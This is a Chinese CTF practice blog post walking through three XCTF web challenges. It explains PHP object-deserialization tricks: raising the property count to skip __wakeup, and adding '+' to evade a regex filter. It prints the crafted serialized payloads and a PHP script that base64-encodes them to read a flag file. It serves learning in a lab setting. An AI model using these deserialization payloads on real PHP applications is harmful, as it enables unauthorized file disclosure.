ctf每日练习-第一天

unserialize3(来自xctf web进阶区)

unserialize3题目链接

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

原理:
PHP反序列化漏洞:执行unserialize()时,先会调用__wakeup()。

当序列化字符串中属性值个数大于属性个数,就会导致反序列化异常,从而跳过__wakeup()。

本题_wakeup会执行exit(),所以要绕过

<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
var_dump(serialize(new xctf()));
//string(36) "O:4:"xctf":1:{s:4:"flag";s:3:"111";}" 

?>

将属性值个数改为大于1的数来绕过_wakeup
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

在这里插入图片描述

NaNNaNNaNNaN-Batman(来自xctf web进阶区)

NaNNaNNaNNaN-Batman题目链接
下载附件含有乱码,发现是eval(),把eval()改成alert弹出代码复制一下

function $() {
    var e = document.getElementById("c").value;
    if (e.length == 16)
        if (e.match(/^be0f23/) != null)
            if (e.match(/233ac/) != null)
                if (e.match(/e98aa$/) != null)
                    if (e.match(/c7be9/) != null) {
                        var t = ["fl", "s_a", "i", "e}"];
                        var n = ["a", "_h0l", "n"];
                        var r = ["g{", "e", "_0"];
                        var i = ["it'", "_", "n"];
                        var s = [t, n, r, i];
                        for (var o = 0; o < 13; ++o) {
                            document.write(s[o % 4][0]);
                            s[o % 4].splice(0, 1)
                        }
                    }
}

直接把脚本放在console里面执行完成

Web_php_unserialize(来自xctf web进阶区)

Web_php_unserialize题目链接

<?php 
class Demo { 
   private $file = 'index.php';
   public function __construct($file) { 
       $this->file = $file; 
   }
   function __destruct() { 
       echo @highlight_file($this->file, true); 
   }
   function __wakeup() { 
       if ($this->file != 'index.php') { 
           //the secret is in the fl4g.php
           $this->file = 'index.php'; 
       } 
   } 
}
if (isset($_GET['var'])) { 
   $var = base64_decode($_GET['var']); 
   if (preg_match('/[oc]:\d+:/i', $var)) { 
       die('stop hacking!'); 
   } else {
       @unserialize($var); 
   } 
} else { 
   highlight_file("index.php"); 
} 
?>

原理:进行代码审计,发现为反序列,如果一个类定义了wakup()和destruct(),则该类的实例被反序列化时,会自动调用wakeup(), 生命周期结束时,则调用desturct()。
主要是三部分内容
1.最后需要用base64编码
2.需要绕过_wakeup函数
3.需要绕过正则表达式

先serialize(new Demo(‘fl4g.php’))
得到string(48) “O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;}”
绕过_wakeup把1换成2,绕过正则表达式把4换成+4,最后转base64编码

$a= new Demo('fl4g.php');
$b=serialize($a);
$b=str_replace('O:4','O:+4',$b);
$b=str_replace('1:{','2:{',$b);
echo base64_encode($b);
?>
这里因为file被private修饰,所以类名前后各有一个空白字符,直接复制无法复制,会出现错误,所以直接在脚本里面搞

php序列化和反序列化

总结

还有两道题,不过没什么新知识点就没法,今天主要学到了php序列化和反序列化,以及正则表达式相关知识,也学到了不少函数。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值